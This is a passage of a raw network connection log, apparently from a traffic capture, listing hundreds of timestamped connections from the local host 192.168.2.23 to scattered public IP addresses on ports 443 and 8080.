Mar 2, 2024 12:36:51.819550037 CET	443	50182	178.8.228.135	192.168.2.23
Mar 2, 2024 12:36:51.819550037 CET	443	50182	109.251.121.200	192.168.2.23
Mar 2, 2024 12:36:51.819550037 CET	50182	443	192.168.2.23	118.190.200.18
Mar 2, 2024 12:36:51.819556952 CET	50182	443	192.168.2.23	37.158.181.158
Mar 2, 2024 12:36:51.819556952 CET	50182	443	192.168.2.23	118.152.182.174
Mar 2, 2024 12:36:51.819559097 CET	50182	443	192.168.2.23	2.96.143.167
Mar 2, 2024 12:36:51.819559097 CET	50182	443	192.168.2.23	2.102.65.75
Mar 2, 2024 12:36:51.819559097 CET	50182	443	192.168.2.23	109.76.52.103
Mar 2, 2024 12:36:51.819559097 CET	50950	8080	192.168.2.23	189.253.9.164
Mar 2, 2024 12:36:51.819566011 CET	50182	443	192.168.2.23	5.70.62.210
Mar 2, 2024 12:36:51.819566011 CET	50182	443	192.168.2.23	178.157.38.254
Mar 2, 2024 12:36:51.819569111 CET	50182	443	192.168.2.23	2.213.204.100
Mar 2, 2024 12:36:51.819570065 CET	50182	443	192.168.2.23	118.205.80.115
Mar 2, 2024 12:36:51.819574118 CET	50182	443	192.168.2.23	94.104.160.184
Mar 2, 2024 12:36:51.819574118 CET	50182	443	192.168.2.23	79.181.55.183
Mar 2, 2024 12:36:51.819574118 CET	50182	443	192.168.2.23	118.227.41.240
Mar 2, 2024 12:36:51.819592953 CET	50182	443	192.168.2.23	109.251.121.200
Mar 2, 2024 12:36:51.819592953 CET	50182	443	192.168.2.23	94.217.214.213
Mar 2, 2024 12:36:51.819595098 CET	50950	8080	192.168.2.23	189.167.158.190
Mar 2, 2024 12:36:51.819597006 CET	50182	443	192.168.2.23	178.8.228.135
Mar 2, 2024 12:36:51.819597006 CET	50950	8080	192.168.2.23	189.96.92.85
Mar 2, 2024 12:36:51.819600105 CET	50182	443	192.168.2.23	178.189.27.71
Mar 2, 2024 12:36:51.819600105 CET	50950	8080	192.168.2.23	187.189.82.168
Mar 2, 2024 12:36:51.819622040 CET	50950	8080	192.168.2.23	201.73.250.6
Mar 2, 2024 12:36:51.819622040 CET	50950	8080	192.168.2.23	187.58.24.14
Mar 2, 2024 12:36:51.819622993 CET	50950	8080	192.168.2.23	187.119.4.228
Mar 2, 2024 12:36:51.819622993 CET	50950	8080	192.168.2.23	189.165.214.29
Mar 2, 2024 12:36:51.819623947 CET	50950	8080	192.168.2.23	189.122.55.240
Mar 2, 2024 12:36:51.819623947 CET	50950	8080	192.168.2.23	189.33.123.210
Mar 2, 2024 12:36:51.819624901 CET	50950	8080	192.168.2.23	201.241.107.46
Mar 2, 2024 12:36:51.819624901 CET	50950	8080	192.168.2.23	187.59.219.4
Mar 2, 2024 12:36:51.819632053 CET	50950	8080	192.168.2.23	189.192.218.49
Mar 2, 2024 12:36:51.819634914 CET	50950	8080	192.168.2.23	201.137.179.44
Mar 2, 2024 12:36:51.819638014 CET	50950	8080	192.168.2.23	187.194.207.30
Mar 2, 2024 12:36:51.819653034 CET	50950	8080	192.168.2.23	187.86.26.9
Mar 2, 2024 12:36:51.819653034 CET	50950	8080	192.168.2.23	187.103.47.240
Mar 2, 2024 12:36:51.819655895 CET	50950	8080	192.168.2.23	201.96.98.1
Mar 2, 2024 12:36:51.819655895 CET	50950	8080	192.168.2.23	189.43.230.204
Mar 2, 2024 12:36:51.819658041 CET	50950	8080	192.168.2.23	187.33.251.148
Mar 2, 2024 12:36:51.819664955 CET	50950	8080	192.168.2.23	201.39.225.44
Mar 2, 2024 12:36:51.819679976 CET	50950	8080	192.168.2.23	187.42.142.138
Mar 2, 2024 12:36:51.819681883 CET	50950	8080	192.168.2.23	201.53.178.151
Mar 2, 2024 12:36:51.819685936 CET	50950	8080	192.168.2.23	189.131.148.139
Mar 2, 2024 12:36:51.819685936 CET	50950	8080	192.168.2.23	201.102.99.91
Mar 2, 2024 12:36:51.819686890 CET	50950	8080	192.168.2.23	189.74.168.93
Mar 2, 2024 12:36:51.819685936 CET	50950	8080	192.168.2.23	187.149.236.160
Mar 2, 2024 12:36:51.819688082 CET	50182	443	192.168.2.23	212.58.113.255
Mar 2, 2024 12:36:51.819685936 CET	50182	443	192.168.2.23	42.65.34.202
Mar 2, 2024 12:36:51.819688082 CET	50182	443	192.168.2.23	212.164.186.86
Mar 2, 2024 12:36:51.819686890 CET	50950	8080	192.168.2.23	189.255.255.191
Mar 2, 2024 12:36:51.819688082 CET	50182	443	192.168.2.23	42.215.7.191
Mar 2, 2024 12:36:51.819688082 CET	50950	8080	192.168.2.23	201.241.216.134
Mar 2, 2024 12:36:51.819700956 CET	443	50182	212.58.113.255	192.168.2.23
Mar 2, 2024 12:36:51.819700956 CET	50182	443	192.168.2.23	79.60.47.49
Mar 2, 2024 12:36:51.819700956 CET	443	50182	42.215.7.191	192.168.2.23
Mar 2, 2024 12:36:51.819700956 CET	50182	443	192.168.2.23	42.254.247.204
Mar 2, 2024 12:36:51.819705009 CET	50950	8080	192.168.2.23	201.92.70.84
Mar 2, 2024 12:36:51.819710970 CET	443	50182	79.60.47.49	192.168.2.23
Mar 2, 2024 12:36:51.819710970 CET	50182	443	192.168.2.23	2.197.229.151
Mar 2, 2024 12:36:51.819713116 CET	443	50182	212.164.186.86	192.168.2.23
Mar 2, 2024 12:36:51.819711924 CET	443	50182	42.65.34.202	192.168.2.23
Mar 2, 2024 12:36:51.819715023 CET	50182	443	192.168.2.23	94.12.46.113
Mar 2, 2024 12:36:51.819710970 CET	50182	443	192.168.2.23	79.58.18.249
Mar 2, 2024 12:36:51.819715023 CET	50182	443	192.168.2.23	118.20.118.179
Mar 2, 2024 12:36:51.819722891 CET	443	50182	94.12.46.113	192.168.2.23
Mar 2, 2024 12:36:51.819725037 CET	443	50182	42.254.247.204	192.168.2.23
Mar 2, 2024 12:36:51.819729090 CET	50182	443	192.168.2.23	42.215.7.191
Mar 2, 2024 12:36:51.819730043 CET	50182	443	192.168.2.23	94.66.75.181
Mar 2, 2024 12:36:51.819730997 CET	443	50182	79.58.18.249	192.168.2.23
Mar 2, 2024 12:36:51.819730997 CET	443	50182	118.20.118.179	192.168.2.23
Mar 2, 2024 12:36:51.819734097 CET	443	50182	2.197.229.151	192.168.2.23
Mar 2, 2024 12:36:51.819736958 CET	443	50182	94.66.75.181	192.168.2.23
Mar 2, 2024 12:36:51.819737911 CET	50950	8080	192.168.2.23	201.63.74.130
Mar 2, 2024 12:36:51.819737911 CET	50182	443	192.168.2.23	79.60.47.49
Mar 2, 2024 12:36:51.819741964 CET	50182	443	192.168.2.23	212.202.104.188
Mar 2, 2024 12:36:51.819741964 CET	50182	443	192.168.2.23	212.58.113.255
Mar 2, 2024 12:36:51.819741964 CET	50182	443	192.168.2.23	212.164.186.86
Mar 2, 2024 12:36:51.819749117 CET	443	50182	212.202.104.188	192.168.2.23
Mar 2, 2024 12:36:51.819750071 CET	50182	443	192.168.2.23	42.65.34.202
Mar 2, 2024 12:36:51.819762945 CET	50182	443	192.168.2.23	94.12.46.113
Mar 2, 2024 12:36:51.819768906 CET	50182	443	192.168.2.23	118.20.118.179
Mar 2, 2024 12:36:51.819775105 CET	50182	443	192.168.2.23	94.66.75.181
Mar 2, 2024 12:36:51.819776058 CET	50182	443	192.168.2.23	2.197.229.151
Mar 2, 2024 12:36:51.819776058 CET	50950	8080	192.168.2.23	201.190.225.233
Mar 2, 2024 12:36:51.819783926 CET	50950	8080	192.168.2.23	189.176.204.91
Mar 2, 2024 12:36:51.819792032 CET	50182	443	192.168.2.23	42.254.247.204
Mar 2, 2024 12:36:51.819792032 CET	50950	8080	192.168.2.23	187.240.113.146
Mar 2, 2024 12:36:51.819792032 CET	50182	443	192.168.2.23	212.202.104.188
Mar 2, 2024 12:36:51.819792032 CET	50182	443	192.168.2.23	79.58.18.249
Mar 2, 2024 12:36:51.819792032 CET	50950	8080	192.168.2.23	187.58.195.232
Mar 2, 2024 12:36:51.819794893 CET	50950	8080	192.168.2.23	189.21.176.57
Mar 2, 2024 12:36:51.819799900 CET	50950	8080	192.168.2.23	187.189.79.223
Mar 2, 2024 12:36:51.819803953 CET	50950	8080	192.168.2.23	187.53.156.97
Mar 2, 2024 12:36:51.819806099 CET	50950	8080	192.168.2.23	187.81.33.128
Mar 2, 2024 12:36:51.819809914 CET	50950	8080	192.168.2.23	201.204.113.57
Mar 2, 2024 12:36:51.819813013 CET	50182	443	192.168.2.23	37.236.61.143
Mar 2, 2024 12:36:51.819813013 CET	50182	443	192.168.2.23	94.173.33.155
Mar 2, 2024 12:36:51.819822073 CET	443	50182	94.173.33.155	192.168.2.23
Mar 2, 2024 12:36:51.819824934 CET	50950	8080	192.168.2.23	189.104.239.213
Mar 2, 2024 12:36:51.819824934 CET	50182	443	192.168.2.23	178.15.136.55
Mar 2, 2024 12:36:51.819828987 CET	443	50182	37.236.61.143	192.168.2.23
Mar 2, 2024 12:36:51.819833994 CET	50182	443	192.168.2.23	109.140.66.80
Mar 2, 2024 12:36:51.819835901 CET	50182	443	192.168.2.23	109.86.120.252
Mar 2, 2024 12:36:51.819835901 CET	50182	443	192.168.2.23	109.232.168.186
Mar 2, 2024 12:36:51.819838047 CET	443	50182	178.15.136.55	192.168.2.23
Mar 2, 2024 12:36:51.819839001 CET	50950	8080	192.168.2.23	189.99.108.39
Mar 2, 2024 12:36:51.819839954 CET	443	50182	109.140.66.80	192.168.2.23
Mar 2, 2024 12:36:51.819839001 CET	50950	8080	192.168.2.23	187.207.93.203
Mar 2, 2024 12:36:51.819839001 CET	50950	8080	192.168.2.23	187.30.54.77
Mar 2, 2024 12:36:51.819839001 CET	50950	8080	192.168.2.23	201.78.219.5
Mar 2, 2024 12:36:51.819847107 CET	443	50182	109.86.120.252	192.168.2.23
Mar 2, 2024 12:36:51.819848061 CET	443	50182	109.232.168.186	192.168.2.23
Mar 2, 2024 12:36:51.819859982 CET	50182	443	192.168.2.23	2.236.175.124
Mar 2, 2024 12:36:51.819869041 CET	50182	443	192.168.2.23	212.133.157.94
Mar 2, 2024 12:36:51.819869041 CET	50950	8080	192.168.2.23	187.162.230.123
Mar 2, 2024 12:36:51.819869041 CET	50182	443	192.168.2.23	94.43.41.68
Mar 2, 2024 12:36:51.819869041 CET	50182	443	192.168.2.23	178.47.28.97
Mar 2, 2024 12:36:51.819869041 CET	50182	443	192.168.2.23	212.77.111.52
Mar 2, 2024 12:36:51.819868088 CET	50950	8080	192.168.2.23	201.44.7.134
Mar 2, 2024 12:36:51.819868088 CET	50950	8080	192.168.2.23	201.8.135.245
Mar 2, 2024 12:36:51.819870949 CET	50950	8080	192.168.2.23	189.229.100.146
Mar 2, 2024 12:36:51.819868088 CET	50950	8080	192.168.2.23	189.158.207.201
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	79.102.97.202
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	118.94.192.16
Mar 2, 2024 12:36:51.819870949 CET	50950	8080	192.168.2.23	201.59.35.146
Mar 2, 2024 12:36:51.819873095 CET	443	50182	2.236.175.124	192.168.2.23
Mar 2, 2024 12:36:51.819870949 CET	50950	8080	192.168.2.23	201.99.63.71
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	79.167.209.247
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	212.212.156.3
Mar 2, 2024 12:36:51.819879055 CET	443	50182	212.133.157.94	192.168.2.23
Mar 2, 2024 12:36:51.819871902 CET	50950	8080	192.168.2.23	189.78.110.22
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	42.178.118.54
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	118.225.244.50
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	5.169.140.134
Mar 2, 2024 12:36:51.819870949 CET	50950	8080	192.168.2.23	201.70.178.139
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	109.122.148.140
Mar 2, 2024 12:36:51.819870949 CET	50182	443	192.168.2.23	79.106.82.38
Mar 2, 2024 12:36:51.819885015 CET	443	50182	212.77.111.52	192.168.2.23
Mar 2, 2024 12:36:51.819888115 CET	50182	443	192.168.2.23	2.32.12.236
Mar 2, 2024 12:36:51.819888115 CET	50182	443	192.168.2.23	212.206.133.186
Mar 2, 2024 12:36:51.819888115 CET	50182	443	192.168.2.23	37.236.61.143
Mar 2, 2024 12:36:51.819889069 CET	443	50182	94.43.41.68	192.168.2.23
Mar 2, 2024 12:36:51.819891930 CET	443	50182	79.102.97.202	192.168.2.23
Mar 2, 2024 12:36:51.819892883 CET	443	50182	178.47.28.97	192.168.2.23
Mar 2, 2024 12:36:51.819894075 CET	443	50182	118.94.192.16	192.168.2.23
Mar 2, 2024 12:36:51.819895029 CET	443	50182	79.167.209.247	192.168.2.23
Mar 2, 2024 12:36:51.819895029 CET	50182	443	192.168.2.23	42.60.233.6
Mar 2, 2024 12:36:51.819895029 CET	50182	443	192.168.2.23	212.93.77.145
Mar 2, 2024 12:36:51.819897890 CET	50182	443	192.168.2.23	5.23.125.116
Mar 2, 2024 12:36:51.819897890 CET	50182	443	192.168.2.23	212.106.62.157
Mar 2, 2024 12:36:51.819897890 CET	50182	443	192.168.2.23	94.173.33.155
Mar 2, 2024 12:36:51.819900036 CET	50950	8080	192.168.2.23	187.46.68.177
Mar 2, 2024 12:36:51.819900036 CET	443	50182	2.32.12.236	192.168.2.23
Mar 2, 2024 12:36:51.819897890 CET	50182	443	192.168.2.23	2.38.39.157
Mar 2, 2024 12:36:51.819900990 CET	443	50182	42.178.118.54	192.168.2.23
Mar 2, 2024 12:36:51.819897890 CET	50182	443	192.168.2.23	5.239.2.196
Mar 2, 2024 12:36:51.819904089 CET	443	50182	118.225.244.50	192.168.2.23
Mar 2, 2024 12:36:51.819900036 CET	50182	443	192.168.2.23	210.78.13.5
Mar 2, 2024 12:36:51.819900990 CET	443	50182	212.206.133.186	192.168.2.23
Mar 2, 2024 12:36:51.819900036 CET	50950	8080	192.168.2.23	189.148.236.217
Mar 2, 2024 12:36:51.819907904 CET	50950	8080	192.168.2.23	189.192.95.102
Mar 2, 2024 12:36:51.819907904 CET	50182	443	192.168.2.23	42.113.14.64
Mar 2, 2024 12:36:51.819907904 CET	50950	8080	192.168.2.23	189.173.54.94
Mar 2, 2024 12:36:51.819907904 CET	50182	443	192.168.2.23	109.251.24.89
Mar 2, 2024 12:36:51.819911003 CET	443	50182	42.60.233.6	192.168.2.23
Mar 2, 2024 12:36:51.819911957 CET	443	50182	212.212.156.3	192.168.2.23
Mar 2, 2024 12:36:51.819915056 CET	50950	8080	192.168.2.23	189.2.137.83
Mar 2, 2024 12:36:51.819915056 CET	50950	8080	192.168.2.23	201.175.159.180
Mar 2, 2024 12:36:51.819916010 CET	50950	8080	192.168.2.23	187.18.93.73
Mar 2, 2024 12:36:51.819916010 CET	50950	8080	192.168.2.23	187.123.131.146
Mar 2, 2024 12:36:51.819916964 CET	443	50182	210.78.13.5	192.168.2.23
Mar 2, 2024 12:36:51.819916010 CET	50950	8080	192.168.2.23	187.247.153.48
Mar 2, 2024 12:36:51.819916010 CET	50950	8080	192.168.2.23	201.158.48.253
Mar 2, 2024 12:36:51.819920063 CET	443	50182	5.169.140.134	192.168.2.23
Mar 2, 2024 12:36:51.819921017 CET	443	50182	42.113.14.64	192.168.2.23
Mar 2, 2024 12:36:51.819916010 CET	50950	8080	192.168.2.23	189.196.180.166
Mar 2, 2024 12:36:51.819916010 CET	50182	443	192.168.2.23	109.145.87.214
Mar 2, 2024 12:36:51.819922924 CET	443	50182	5.23.125.116	192.168.2.23
Mar 2, 2024 12:36:51.819916010 CET	50182	443	192.168.2.23	109.140.66.80
Mar 2, 2024 12:36:51.819920063 CET	50950	8080	192.168.2.23	187.179.21.230
Mar 2, 2024 12:36:51.819916010 CET	50182	443	192.168.2.23	118.184.143.120
Mar 2, 2024 12:36:51.819920063 CET	50950	8080	192.168.2.23	189.27.95.237
Mar 2, 2024 12:36:51.819916010 CET	50182	443	192.168.2.23	79.102.97.202
Mar 2, 2024 12:36:51.819920063 CET	50950	8080	192.168.2.23	201.3.209.219
Mar 2, 2024 12:36:51.819920063 CET	50182	443	192.168.2.23	2.236.175.124
Mar 2, 2024 12:36:51.819916010 CET	50182	443	192.168.2.23	2.125.249.120
Mar 2, 2024 12:36:51.819916010 CET	50182	443	192.168.2.23	2.234.203.129
Mar 2, 2024 12:36:51.819931030 CET	443	50182	109.122.148.140	192.168.2.23
Mar 2, 2024 12:36:51.819931030 CET	443	50182	109.251.24.89	192.168.2.23
Mar 2, 2024 12:36:51.819936991 CET	443	50182	79.106.82.38	192.168.2.23
Mar 2, 2024 12:36:51.819937944 CET	50182	443	192.168.2.23	5.216.78.219
Mar 2, 2024 12:36:51.819941998 CET	443	50182	212.93.77.145	192.168.2.23
Mar 2, 2024 12:36:51.819943905 CET	50182	443	192.168.2.23	37.28.140.18
Mar 2, 2024 12:36:51.819943905 CET	50182	443	192.168.2.23	212.133.157.94
Mar 2, 2024 12:36:51.819945097 CET	50182	443	192.168.2.23	94.43.41.68
Mar 2, 2024 12:36:51.819945097 CET	50182	443	192.168.2.23	178.47.28.97
Mar 2, 2024 12:36:51.819946051 CET	443	50182	212.106.62.157	192.168.2.23
Mar 2, 2024 12:36:51.819947958 CET	443	50182	5.216.78.219	192.168.2.23
Mar 2, 2024 12:36:51.819947958 CET	50182	443	192.168.2.23	94.139.37.56
Mar 2, 2024 12:36:51.819947958 CET	50182	443	192.168.2.23	109.232.168.186
Mar 2, 2024 12:36:51.819947958 CET	50950	8080	192.168.2.23	187.81.167.18
Mar 2, 2024 12:36:51.819947958 CET	50950	8080	192.168.2.23	189.124.72.227
Mar 2, 2024 12:36:51.819947958 CET	50182	443	192.168.2.23	178.27.162.161
Mar 2, 2024 12:36:51.819947958 CET	50182	443	192.168.2.23	109.86.120.252
Mar 2, 2024 12:36:51.819947958 CET	50182	443	192.168.2.23	79.167.209.247
Mar 2, 2024 12:36:51.819947958 CET	50182	443	192.168.2.23	118.225.244.50
Mar 2, 2024 12:36:51.819952965 CET	443	50182	2.38.39.157	192.168.2.23
Mar 2, 2024 12:36:51.819953918 CET	50182	443	192.168.2.23	2.32.12.236
Mar 2, 2024 12:36:51.819953918 CET	50182	443	192.168.2.23	212.206.133.186
Mar 2, 2024 12:36:51.819956064 CET	443	50182	37.28.140.18	192.168.2.23
Mar 2, 2024 12:36:51.819957018 CET	443	50182	118.184.143.120	192.168.2.23
Mar 2, 2024 12:36:51.819960117 CET	50182	443	192.168.2.23	210.61.48.172
Mar 2, 2024 12:36:51.819958925 CET	50950	8080	192.168.2.23	189.155.129.21
Mar 2, 2024 12:36:51.819960117 CET	50182	443	192.168.2.23	42.178.118.54
Mar 2, 2024 12:36:51.819962978 CET	443	50182	94.139.37.56	192.168.2.23
Mar 2, 2024 12:36:51.819958925 CET	50182	443	192.168.2.23	118.79.37.221
Mar 2, 2024 12:36:51.819963932 CET	443	50182	109.145.87.214	192.168.2.23
Mar 2, 2024 12:36:51.819958925 CET	50182	443	192.168.2.23	178.15.136.55
Mar 2, 2024 12:36:51.819958925 CET	50182	443	192.168.2.23	37.211.185.251
Mar 2, 2024 12:36:51.819958925 CET	50182	443	192.168.2.23	42.167.222.15
Mar 2, 2024 12:36:51.819958925 CET	50182	443	192.168.2.23	42.60.233.6
Mar 2, 2024 12:36:51.819966078 CET	443	50182	5.239.2.196	192.168.2.23
Mar 2, 2024 12:36:51.819967985 CET	50182	443	192.168.2.23	42.113.14.64
Mar 2, 2024 12:36:51.819967985 CET	50182	443	192.168.2.23	210.78.13.5
Mar 2, 2024 12:36:51.819968939 CET	443	50182	2.125.249.120	192.168.2.23
Mar 2, 2024 12:36:51.819969893 CET	443	50182	210.61.48.172	192.168.2.23
Mar 2, 2024 12:36:51.819967985 CET	50182	443	192.168.2.23	109.79.15.194
Mar 2, 2024 12:36:51.819973946 CET	443	50182	2.234.203.129	192.168.2.23
Mar 2, 2024 12:36:51.819977999 CET	443	50182	109.79.15.194	192.168.2.23
Mar 2, 2024 12:36:51.819977999 CET	443	50182	178.27.162.161	192.168.2.23
Mar 2, 2024 12:36:51.819979906 CET	50182	443	192.168.2.23	118.94.192.16
Mar 2, 2024 12:36:51.819979906 CET	50182	443	192.168.2.23	212.212.156.3
Mar 2, 2024 12:36:51.819983006 CET	50182	443	192.168.2.23	5.169.140.134
Mar 2, 2024 12:36:51.819983006 CET	50182	443	192.168.2.23	109.122.148.140
Mar 2, 2024 12:36:51.819983006 CET	50182	443	192.168.2.23	79.106.82.38
Mar 2, 2024 12:36:51.819986105 CET	443	50182	118.79.37.221	192.168.2.23
Mar 2, 2024 12:36:51.819991112 CET	50182	443	192.168.2.23	79.196.28.149
Mar 2, 2024 12:36:51.819991112 CET	50182	443	192.168.2.23	212.77.111.52
Mar 2, 2024 12:36:51.819991112 CET	50182	443	192.168.2.23	118.255.251.28
Mar 2, 2024 12:36:51.819991112 CET	50182	443	192.168.2.23	5.23.125.116
Mar 2, 2024 12:36:51.819993019 CET	443	50182	37.211.185.251	192.168.2.23
Mar 2, 2024 12:36:51.819991112 CET	50182	443	192.168.2.23	212.106.62.157
Mar 2, 2024 12:36:51.819999933 CET	50182	443	192.168.2.23	109.251.24.89
Mar 2, 2024 12:36:51.819999933 CET	50182	443	192.168.2.23	37.28.140.18
Mar 2, 2024 12:36:51.820000887 CET	50182	443	192.168.2.23	118.184.143.120
Mar 2, 2024 12:36:51.820003033 CET	50182	443	192.168.2.23	5.216.78.219
Mar 2, 2024 12:36:51.820003033 CET	443	50182	79.196.28.149	192.168.2.23
Mar 2, 2024 12:36:51.820004940 CET	443	50182	42.167.222.15	192.168.2.23
Mar 2, 2024 12:36:51.820008039 CET	50182	443	192.168.2.23	2.125.249.120
Mar 2, 2024 12:36:51.820008039 CET	50182	443	192.168.2.23	109.145.87.214
Mar 2, 2024 12:36:51.820008039 CET	50182	443	192.168.2.23	2.234.203.129
Mar 2, 2024 12:36:51.820009947 CET	443	50182	118.255.251.28	192.168.2.23
Mar 2, 2024 12:36:51.820018053 CET	50182	443	192.168.2.23	2.38.39.157
Mar 2, 2024 12:36:51.820024014 CET	50182	443	192.168.2.23	212.93.77.145
Mar 2, 2024 12:36:51.820024014 CET	50182	443	192.168.2.23	118.79.37.221
Mar 2, 2024 12:36:51.820025921 CET	50182	443	192.168.2.23	5.239.2.196
Mar 2, 2024 12:36:51.820024014 CET	50182	443	192.168.2.23	109.79.15.194
Mar 2, 2024 12:36:51.820029974 CET	50182	443	192.168.2.23	94.139.37.56
Mar 2, 2024 12:36:51.820029020 CET	50182	443	192.168.2.23	210.61.48.172
Mar 2, 2024 12:36:51.820029974 CET	50182	443	192.168.2.23	178.27.162.161
Mar 2, 2024 12:36:51.820038080 CET	50182	443	192.168.2.23	42.167.222.15
Mar 2, 2024 12:36:51.820038080 CET	50182	443	192.168.2.23	37.211.185.251
Mar 2, 2024 12:36:51.820044994 CET	50182	443	192.168.2.23	79.196.28.149
Mar 2, 2024 12:36:51.820044994 CET	50182	443	192.168.2.23	118.255.251.28
Mar 2, 2024 12:36:51.820065022 CET	50182	443	192.168.2.23	118.78.37.130
Mar 2, 2024 12:36:51.820065022 CET	50182	443	192.168.2.23	2.88.16.133
Mar 2, 2024 12:36:51.820067883 CET	50182	443	192.168.2.23	42.139.138.35
Mar 2, 2024 12:36:51.820067883 CET	50950	8080	192.168.2.23	187.138.149.65
Mar 2, 2024 12:36:51.820071936 CET	50182	443	192.168.2.23	5.234.114.116
Mar 2, 2024 12:36:51.820071936 CET	50950	8080	192.168.2.23	189.101.234.128
Mar 2, 2024 12:36:51.820074081 CET	50950	8080	192.168.2.23	187.161.181.82
Mar 2, 2024 12:36:51.820074081 CET	50950	8080	192.168.2.23	187.202.93.47
Mar 2, 2024 12:36:51.820074081 CET	50182	443	192.168.2.23	109.120.31.55
Mar 2, 2024 12:36:51.820076942 CET	443	50182	42.139.138.35	192.168.2.23
Mar 2, 2024 12:36:51.820076942 CET	443	50182	2.88.16.133	192.168.2.23
Mar 2, 2024 12:36:51.820080042 CET	443	50182	118.78.37.130	192.168.2.23
Mar 2, 2024 12:36:51.820080996 CET	50950	8080	192.168.2.23	187.7.64.233
Mar 2, 2024 12:36:51.820080996 CET	50182	443	192.168.2.23	5.104.45.128
Mar 2, 2024 12:36:51.820080996 CET	50182	443	192.168.2.23	210.136.162.251
Mar 2, 2024 12:36:51.820082903 CET	443	50182	5.234.114.116	192.168.2.23
Mar 2, 2024 12:36:51.820086956 CET	50182	443	192.168.2.23	210.194.167.238
Mar 2, 2024 12:36:51.820089102 CET	50950	8080	192.168.2.23	201.46.28.148
Mar 2, 2024 12:36:51.820086956 CET	50182	443	192.168.2.23	94.63.139.79
Mar 2, 2024 12:36:51.820091009 CET	443	50182	109.120.31.55	192.168.2.23
Mar 2, 2024 12:36:51.820086956 CET	50950	8080	192.168.2.23	189.104.183.5
Mar 2, 2024 12:36:51.820091009 CET	50182	443	192.168.2.23	79.108.231.98
Mar 2, 2024 12:36:51.820086956 CET	50950	8080	192.168.2.23	187.234.75.212
Mar 2, 2024 12:36:51.820091009 CET	50950	8080	192.168.2.23	187.23.19.114
Mar 2, 2024 12:36:51.820096016 CET	50950	8080	192.168.2.23	187.56.139.81
Mar 2, 2024 12:36:51.820091009 CET	50950	8080	192.168.2.23	187.15.209.251
Mar 2, 2024 12:36:51.820096016 CET	50950	8080	192.168.2.23	187.161.229.110
Mar 2, 2024 12:36:51.820091963 CET	443	50182	5.104.45.128	192.168.2.23
Mar 2, 2024 12:36:51.820091009 CET	50182	443	192.168.2.23	37.189.121.245
Mar 2, 2024 12:36:51.820099115 CET	443	50182	79.108.231.98	192.168.2.23
Mar 2, 2024 12:36:51.820096016 CET	50182	443	192.168.2.23	212.95.28.95
Mar 2, 2024 12:36:51.820099115 CET	50182	443	192.168.2.23	118.67.96.196
Mar 2, 2024 12:36:51.820099115 CET	50950	8080	192.168.2.23	187.99.51.202
Mar 2, 2024 12:36:51.820105076 CET	443	50182	210.136.162.251	192.168.2.23
Mar 2, 2024 12:36:51.820105076 CET	50182	443	192.168.2.23	37.201.93.212
Mar 2, 2024 12:36:51.820105076 CET	50182	443	192.168.2.23	94.74.86.49
Mar 2, 2024 12:36:51.820108891 CET	443	50182	210.194.167.238	192.168.2.23
Mar 2, 2024 12:36:51.820108891 CET	443	50182	94.63.139.79	192.168.2.23
Mar 2, 2024 12:36:51.820112944 CET	443	50182	118.67.96.196	192.168.2.23
Mar 2, 2024 12:36:51.820115089 CET	443	50182	37.201.93.212	192.168.2.23
Mar 2, 2024 12:36:51.820116997 CET	443	50182	37.189.121.245	192.168.2.23
Mar 2, 2024 12:36:51.820117950 CET	50182	443	192.168.2.23	5.234.114.116
Mar 2, 2024 12:36:51.820117950 CET	50950	8080	192.168.2.23	187.202.28.217
Mar 2, 2024 12:36:51.820121050 CET	443	50182	94.74.86.49	192.168.2.23
Mar 2, 2024 12:36:51.820123911 CET	50182	443	192.168.2.23	212.100.49.122
Mar 2, 2024 12:36:51.820123911 CET	50182	443	192.168.2.23	2.88.16.133
Mar 2, 2024 12:36:51.820127010 CET	50182	443	192.168.2.23	42.139.138.35
Mar 2, 2024 12:36:51.820125103 CET	443	50182	212.95.28.95	192.168.2.23
Mar 2, 2024 12:36:51.820123911 CET	50182	443	192.168.2.23	118.78.37.130
Mar 2, 2024 12:36:51.820128918 CET	50182	443	192.168.2.23	79.108.231.98
Mar 2, 2024 12:36:51.820130110 CET	50182	443	192.168.2.23	42.53.21.76
Mar 2, 2024 12:36:51.820133924 CET	50950	8080	192.168.2.23	189.154.142.217
Mar 2, 2024 12:36:51.820136070 CET	443	50182	42.53.21.76	192.168.2.23
Mar 2, 2024 12:36:51.820137978 CET	443	50182	212.100.49.122	192.168.2.23
Mar 2, 2024 12:36:51.820138931 CET	50182	443	192.168.2.23	109.120.31.55
Mar 2, 2024 12:36:51.820142031 CET	50182	443	192.168.2.23	210.194.167.238
Mar 2, 2024 12:36:51.820142984 CET	50182	443	192.168.2.23	210.136.162.251
Mar 2, 2024 12:36:51.820142984 CET	50950	8080	192.168.2.23	187.15.174.202
Mar 2, 2024 12:36:51.820142984 CET	50182	443	192.168.2.23	5.104.45.128
Mar 2, 2024 12:36:51.820149899 CET	50950	8080	192.168.2.23	189.59.92.120
Mar 2, 2024 12:36:51.820154905 CET	50950	8080	192.168.2.23	201.181.207.246
Mar 2, 2024 12:36:51.820154905 CET	50182	443	192.168.2.23	118.229.0.137
Mar 2, 2024 12:36:51.820162058 CET	50182	443	192.168.2.23	118.28.66.150
Mar 2, 2024 12:36:51.820162058 CET	443	50182	118.229.0.137	192.168.2.23
Mar 2, 2024 12:36:51.820168018 CET	443	50182	118.28.66.150	192.168.2.23
Mar 2, 2024 12:36:51.820168018 CET	50950	8080	192.168.2.23	201.9.126.200
Mar 2, 2024 12:36:51.820168018 CET	50950	8080	192.168.2.23	187.233.10.30
Mar 2, 2024 12:36:51.820168972 CET	50182	443	192.168.2.23	94.63.139.79
Mar 2, 2024 12:36:51.820168018 CET	50950	8080	192.168.2.23	201.87.203.101
Mar 2, 2024 12:36:51.820168018 CET	50182	443	192.168.2.23	210.238.188.233
Mar 2, 2024 12:36:51.820168018 CET	50182	443	192.168.2.23	118.67.96.196
Mar 2, 2024 12:36:51.820173979 CET	50950	8080	192.168.2.23	189.55.138.152
Mar 2, 2024 12:36:51.820173979 CET	50950	8080	192.168.2.23	201.32.232.223
Mar 2, 2024 12:36:51.820178032 CET	50182	443	192.168.2.23	37.189.121.245
